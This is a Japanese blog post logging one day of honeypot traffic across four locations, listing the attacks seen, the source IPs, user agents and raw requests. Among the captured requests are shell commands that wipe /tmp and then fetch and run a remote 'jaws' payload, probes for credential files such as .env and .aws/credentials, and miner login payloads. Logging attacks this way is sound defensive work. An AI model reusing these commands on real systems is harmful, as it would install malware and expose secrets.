コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2023/10/19 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/10/19分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為

Location:JP

Fuzz Faster U Foolによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
WordPressへのスキャン行為
configファイルへのスキャン行為
Gh0stRATのような動き

を確認しました。

Location:US

Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
.jsへのスキャン行為
configファイルへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 121.62.21.23/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget 45.12.253.180/jaws;
sh /tmp/jaws
Location:UK

Netis WF2419の脆弱性(CVE-2019-19356)を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
WordPressへのスキャン行為

を確認しました。

Location:SG

Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
.jsへのスキャン行為
configファイルへのスキャン行為
Gh0stRATのような動き

を確認しました。

アクセス数推移

JP:総アクセス数:208 (前日比:-83)
US:総アクセス数:176 (前日比:66)
UK:総アクセス数:99 (前日比:27)
SG:総アクセス数:165 (前日比:58)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス
1 15.204.170.50 United States
1 18.135.100.99 United States
1 23.239.9.21 United States
1 34.218.254.166 United States
15 43.154.141.71 Singapore
1 45.56.108.128 United States
5 45.79.1.248 United States
1 45.79.181.104 United States
2 45.140.17.16 Russia
1 47.251.14.232 United States
1 47.254.76.138 United States
85 54.190.52.194 United States
18 64.227.30.93 United States
4 65.49.20.69 United States
1 65.49.20.109 United States
1 66.175.213.4 United States
1 66.240.205.34 United States
2 68.183.229.66 United States
1 104.248.52.153 United States
2 109.237.97.180 Russia
3 109.237.98.53 Russia
2 109.237.98.226 Russia
1 116.49.190.137 Hong Kong
1 121.112.227.123 Japan
1 135.125.244.48 France
5 135.125.246.110 France
5 135.125.246.189 France
3 144.126.131.197 United States
1 147.182.150.96 United States
5 159.223.190.31 United States
1 162.142.125.223 United States
1 167.248.133.184 United States
1 180.149.125.171 Mongolia
1 184.105.247.196 United States
1 185.180.143.48 Portugal
2 185.216.71.42 Bulgaria
7 185.254.196.173 Ukraine
2 185.254.196.186 Ukraine
2 192.155.89.137 United States
2 194.180.48.251 Bulgaria
11 195.170.172.128 Netherlands
1 198.199.118.99 United States
2 198.235.24.133 United States
2 198.235.24.158 United States

UserAgent一覧

件数 UserAgent
29 -
18 Fuzz Faster U Fool v2.1.0-dev
1 Kryptos Logic Telltale - telltale.kryptoslogic.com
1 Mozilla/4.0 (PSP (PlayStation Portable); 2.00)
1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
2 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
85 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
25 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; ; NCLIENT50_AAPCDA5841E333)
1 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.0
1 python-requests/2.22.0

リクエスト内容一覧

件数 Method Request Protocol
2 Gh0st\xad
1 HELP
2 \x03
4 \x16\x03\x01\x01H\x01
1 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x02
10 \x16\x03\x01
1 \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n
1 \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n
1 ``
1 {\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"login\",\"params\":{\"login\":\"421XQwGiQr7FTsuYvGGucWHuxKpPa1inRL6YTquNFkgLL1ZxQtwzM9YXabNQUKW645AcHzYP8cocJGRM7u786nfrDbPmTzp\",\"pass\":\"x\",\"agent\":\"XMRig/6.15.3 (Windows NT 10.0; Win64; x64) libuv/1.42.0 msvc/2019\",\"algo\":[\"cn/1\",\"cn/2\",\"cn/r\",\"cn/fast\",\"cn/half\",\"cn/xao\",\"cn/rto\",\"cn/rwz\",\"cn/zls\",\"cn/double\",\"cn/ccx\",\"cn-lite/1\",\"cn-heavy/0\",\"cn-heavy/tube\",\"cn-heavy/xhv\",\"cn-pico\",\"cn-pico/tlo\",\"cn/upx2\",\"rx/0\",\"rx/wow\",\"rx/arq\",\"rx/graft\",\"rx/sfx\",\"rx/keva\",\"argon2/chukwa\",\"argon2/chukwav2\",\"argon2/ninja\",\"astrobwt\"]}}\n
1 {\"id\":1,\"method\":\"eth_submitLogin\",\"worker\":\"igwrcvap\",\"params\":[\"0x766de0674c0035d926b18cd4971f762f79c04de0\",\"x\"],\"jsonrpc\":\"2.0\"}\n
1 {\"id\": 1, \"method\": \"mining.subscribe\", \"params\": [\"cpuminer/2.5.1\"]}\n
1 {\"id\": 1, \"method\": \"mining.subscribe\", \"params\": [\"MinerName/1.0.0\", \"EthereumStratum/1.0.0\"]}\n
1 CONNECT api64[.]ipify[.]org:80 HTTP/1.1
1 GET /.aws/credentials HTTP/1.1
1 GET /.env.development HTTP/1.1
1 GET /.env.dist HTTP/1.1
1 GET /.env.old HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production HTTP/1.1
1 GET /.env.project HTTP/1.1
1 GET /.env.save HTTP/1.1
28 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.json HTTP/1.1
1 GET /PHPConf.php HTTP/1.1
1 GET /Public/home/js/check.js HTTP/1.1
1 GET /SiteLoader HTTP/1.1
1 GET /WuEL HTTP/1.1
1 GET /_phpinfo.php HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /a HTTP/1.1
1 GET /admin-app/.env HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /admin/config.php HTTP/1.1
1 GET /admin/phpinfo.php HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /api/sonicos/auth HTTP/1.1
1 GET /api/sonicos/tfa HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /application/.env HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /auth.html HTTP/1.1
1 GET /auth1.html HTTP/1.1
1 GET /back/.env HTTP/1.1
1 GET /cdn-cgi/trace HTTP/1.1
1 GET /cms/.env HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /development/.env HTTP/1.1
1 GET /docker/.env HTTP/1.1
1 GET /download/file.ext HTTP/1.1
1 GET /enviroments/.env.production HTTP/1.1
1 GET /enviroments/.env HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /info/info.php HTTP/1.1
1 GET /info/phpinfo.php HTTP/1.1
1 GET /infophp.php HTTP/1.1
1 GET /information.php HTTP/1.1
1 GET /information HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /live_env HTTP/1.1
1 GET /mPlayer HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /php.php HTTP/1.1
1 GET /php_info.php HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo/phpinfo.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /phpinformation HTTP/1.1
1 GET /phptest.php HTTP/1.1
1 GET /phpversion.php HTTP/1.1
1 GET /pinfo.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /private/.env HTTP/1.1
1 GET /script/.env HTTP/1.1
1 GET /scripts/phpinfo.php HTTP/1.1
1 GET /shared/.env HTTP/1.1
1 GET /showLogin.cc HTTP/1.1
1 GET /sources/.env HTTP/1.1
1 GET /sslvpnLogin.html HTTP/1.1
1 GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1
1 GET /static/admin/javascript/hetong.js HTTP/1.1
1 GET /system/.env HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /testphpinfo.php HTTP/1.1
1 GET /testphpinfo HTTP/1.1
1 GET /viewinfo.php HTTP/1.1
2 GET /webui/ HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 GET stager64 HTTP/1.1
15 HEAD /Core/Skin/Login.aspx HTTP/1.1
2 HEAD / HTTP/1.1
1 HEAD /admin.zip HTTP/1.1
1 HEAD /app.zip HTTP/1.1
1 HEAD /back.zip HTTP/1.1
1 HEAD /backend.zip HTTP/1.1
1 HEAD /bak.zip HTTP/1.1
1 HEAD /bakup.zip HTTP/1.1
1 HEAD /cms.zip HTTP/1.1
1 HEAD /customers.zip HTTP/1.1
1 HEAD /data.zip HTTP/1.1
1 HEAD /database.zip HTTP/1.1
1 HEAD /db.zip HTTP/1.1
1 HEAD /dump.zip HTTP/1.1
1 HEAD /front.zip HTTP/1.1
1 HEAD /private.zip HTTP/1.1
1 HEAD /sql.zip HTTP/1.1
1 HEAD /uploads.zip HTTP/1.1
1 HEAD /users.zip HTTP/1.1
1 HEAD /web.zip HTTP/1.1
1 POST /.aws/credentials HTTP/1.1
1 POST /.env.development HTTP/1.1
1 POST /.env.dist HTTP/1.1
1 POST /.env.old HTTP/1.1
1 POST /.env.prod HTTP/1.1
1 POST /.env.production HTTP/1.1
1 POST /.env.project HTTP/1.1
1 POST /.env.save HTTP/1.1
2 POST /.env HTTP/1.1
1 POST /admin-app/.env HTTP/1.1
1 POST /api/.env HTTP/1.1
1 POST /app/.env HTTP/1.1
1 POST /application/.env HTTP/1.1
1 POST /apps/.env HTTP/1.1
1 POST /back/.env HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cms/.env HTTP/1.1
1 POST /core/.env HTTP/1.1
1 POST /development/.env HTTP/1.1
1 POST /docker/.env HTTP/1.1
1 POST /enviroments/.env.production HTTP/1.1
1 POST /enviroments/.env HTTP/1.1
1 POST /laravel/.env HTTP/1.1
1 POST /live_env HTTP/1.1
1 POST /private/.env HTTP/1.1
1 POST /script/.env HTTP/1.1
1 POST /shared/.env HTTP/1.1
1 POST /sources/.env HTTP/1.1
1 POST /system/.env HTTP/1.1
1 POST /webui/logoutconfirm.html?logon_hash=1 HTTP/1.1
1 POST /wsman HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス
1 13.88.44.232 United States
48 18.170.212.59 United States
1 34.212.35.93 United States
7 35.216.135.199 United States
4 45.12.253.48 Bulgaria
1 45.79.172.21 United States
1 45.79.181.179 United States
1 45.95.147.204 Netherlands
2 45.140.17.16 Russia
4 51.79.29.48 Canada
7 54.36.115.221 France
6 54.37.79.75 France
1 64.62.197.199 United States
1 64.62.197.205 United States
1 64.62.197.207 United States
1 65.49.1.62 United States
3 66.175.213.4 United States
2 68.183.237.229 United States
1 79.110.48.90 Bulgaria
2 83.97.73.87 Germany
1 83.229.69.160 Israel
1 85.239.33.6 Russia
11 95.214.27.191 Bulgaria
1 103.102.231.4 Australia
4 104.129.129.232 United States
1 104.214.105.200 United States
1 104.248.52.153 United States
1 107.170.252.53 United States
2 109.237.98.226 Russia
1 116.49.190.137 Hong Kong
2 128.199.104.170 United Kingdom
1 134.122.1.64 United States
1 139.59.101.104 Singapore
2 146.190.106.242 United States
2 162.142.125.213 United States
2 162.142.125.226 United States
1 164.90.169.141 United States
2 167.71.209.152 United States
2 167.94.146.55 United States
13 167.99.144.172 United States
1 172.96.172.175 United States
1 172.104.11.34 United States
1 172.104.11.46 United States
1 172.104.131.24 United States
1 172.105.128.11 United States
1 172.105.128.12 United States
2 172.105.128.13 United States
1 180.149.125.173 Mongolia
2 185.156.72.38 Russia
1 185.180.140.6 Portugal
1 185.180.143.137 Portugal
1 188.215.235.109 Romania
1 189.148.142.8 Mexico
1 192.155.90.118 United States
1 192.155.90.220 United States
1 193.35.18.187 Bulgaria
1 194.165.16.10 Panama
2 197.251.206.4 Ghana
1 198.199.107.82 United States
2 198.235.24.16 United States
2 198.235.24.119 United States
2 198.235.24.128 United States
1 199.123.2.129 United States

UserAgent一覧

件数 UserAgent
17 'Cloud mapping experiment. Contact research@pdrlabs.net'
72 -
1 BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123
1 Go-http-client/1.1
2 Hello, world
1 Kryptos Logic Telltale - telltale.kryptoslogic.com
17 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
6 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
22 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.5(0x17000523) NetType/4G Language/zh_CN
2 Mozilla/5.0 zgrab/0.x
6 Mozilla/5.0
1 curl/8.1.2
4 python-requests/2.28.2

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_34.68.118.83_80\n
5 \x03
1 \x16\x03\x01\x01H\x01
4 \x16\x03\x01\x01\x07\x01
55 \x16\x03\x01
1 ``
1 CONNECT api64[.]ipify[.]org:80 HTTP/1.1
1 CONNECT google[.]com:443 HTTP/1.1
1 GET /+CSCOE+/logon.html HTTP/1.1
30 GET /.env HTTP/1.1
6 GET /.git/config HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /2.0/gui/ HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /Login.html HTTP/1.1
1 GET /WebViewer.html HTTP/1.1
3 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin/index.html HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /api/v1/charts HTTP/1.1
1 GET /apps HTTP/1.1
1 GET /bundle.js HTTP/1.1
5 GET /cdn-cgi/trace HTTP/1.1
1 GET /config.json HTTP/1.1
2 GET /debug/default/view?panel=config HTTP/1.1
1 GET /doc/page/login.asp HTTP/1.1
7 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /form.html HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
4 GET /info.php HTTP/1.1
1 GET /login.cs HTTP/1.1
1 GET /login HTTP/1.1
1 GET /mm/ HTTP/1.1
1 GET /npclient.html HTTP/1.1
1 GET /password.php HTTP/1.1
2 GET /phpinfo.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+121[.]62[.]21[.]23/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+45[.]12[.]253[.]180/jaws;sh+/tmp/jaws HTTP/1.1
2 GET /showLogin.cc HTTP/1.1
1 GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1
1 GET /systembc/password.php HTTP/1.1
1 GET /telescope/requests HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /video.html HTTP/1.1
1 GET /vpn/index.html HTTP/1.1
1 GET /web/index.html HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET /webui HTTP/1.1
2 HEAD / HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
1 POST /webui/logoutconfirm.html?logon_hash=1 HTTP/1.1
1 POST /webui/logoutconfirm.html?menu=1 HTTP/1.1
3 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス
4 3.223.72.184 United States
1 24.228.145.25 United States
1 35.178.204.71 United States
4 44.208.85.154 United States
1 45.12.253.27 Bulgaria
1 45.79.181.104 United States
1 45.79.181.179 United States
2 45.140.17.16 Russia
7 51.79.29.48 Canada
2 54.36.115.221 France
5 54.37.79.75 France
4 54.243.246.120 United States
1 65.49.1.104 United States
2 65.49.20.66 United States
1 65.49.20.82 United States
1 66.175.213.4 United States
1 79.110.48.90 Bulgaria
1 80.94.92.42 Romania
2 83.97.73.87 Germany
1 103.176.110.23 Vietnam
1 103.206.115.91 India
1 106.75.133.231 China
17 108.181.68.133 Canada
2 109.237.97.180 Russia
1 116.49.190.137 Hong Kong
1 120.63.180.123 India
1 139.59.101.104 Singapore
1 164.90.169.141 United States
4 165.154.162.102 Hong Kong
2 167.94.138.51 United States
2 167.248.133.36 United States
3 172.104.11.46 United States
2 172.104.11.51 United States
1 172.104.131.24 United States
2 172.105.128.12 United States
1 172.105.128.13 United States
1 179.43.163.130 Panama
1 180.149.125.172 Mongolia
1 185.180.143.50 Portugal
1 188.215.235.119 Romania
1 192.99.9.171 Canada
1 192.155.90.220 United States
1 192.241.222.77 United States
1 194.165.16.37 Panama
1 194.180.48.104 Bulgaria
1 198.199.104.82 United States
2 205.210.31.18 United States
2 205.210.31.229 United States

UserAgent一覧

件数 UserAgent
37 -
2 Dark
1 Go-http-client/1.1
1 Kryptos Logic Telltale - telltale.kryptoslogic.com
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
19 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
19 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x
5 Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_132.145.66.34_80\n
3 \x03
1 \x16\x03\x01\x01H\x01
3 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x01\x17\x01
24 \x16\x03\x01
1 ``
1 CONNECT api64[.]ipify[.]org:80 HTTP/1.1
20 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /2018/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /2019/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1
5 GET /cdn-cgi/trace HTTP/1.1
1 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /media/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /news/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /showLogin.cc HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1
1 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /web/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /website/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /xmlrpc.php?rsd HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
2 POST /cgi-bin-igd/netcore_get.cgi? HTTP/1.1
1 POST /webui/logoutconfirm.html?logon_hash=1 HTTP/1.1
1 POST /webui/logoutconfirm.html?menu=1 HTTP/1.1
2 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス
69 18.132.38.76 United States
1 20.106.211.168 United States
5 23.226.129.59 United States
1 35.164.106.12 United States
7 35.216.135.199 United States
1 45.33.80.243 United States
1 45.56.108.128 United States
2 45.79.128.205 United States
1 45.79.181.94 United States
1 45.79.181.104 United States
1 45.79.181.251 United States
1 45.140.17.16 Russia
1 47.89.193.239 United States
7 51.79.29.48 Canada
5 54.37.79.75 France
1 64.62.197.56 United States
1 66.240.205.34 United States
1 71.6.134.232 United States
4 71.6.167.142 United States
2 74.82.47.5 United States
1 74.82.47.33 United States
1 79.110.48.90 Bulgaria
2 83.97.73.87 Germany
1 87.251.64.11 Russia
1 104.131.144.28 United States
1 104.248.52.153 United States
2 109.237.97.180 Russia
3 109.237.98.53 Russia
2 109.237.98.226 Russia
1 116.49.190.137 Hong Kong
1 138.197.28.34 United States
2 162.142.125.226 United States
1 162.243.148.8 United States
14 164.52.0.94 China
1 164.90.169.141 United States
2 167.94.146.57 United States
1 172.104.11.4 United States
1 172.104.11.51 United States
1 172.105.128.11 United States
1 172.105.128.12 United States
1 180.149.125.165 Mongolia
3 183.2.185.51 China
1 185.180.143.50 Portugal
3 192.155.90.220 United States
2 205.210.31.11 United States
2 205.210.31.81 United States

UserAgent一覧

件数 UserAgent
33 'Cloud mapping experiment. Contact research@pdrlabs.net'
83 -
1 Kryptos Logic Telltale - telltale.kryptoslogic.com
1 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
5 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
6 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
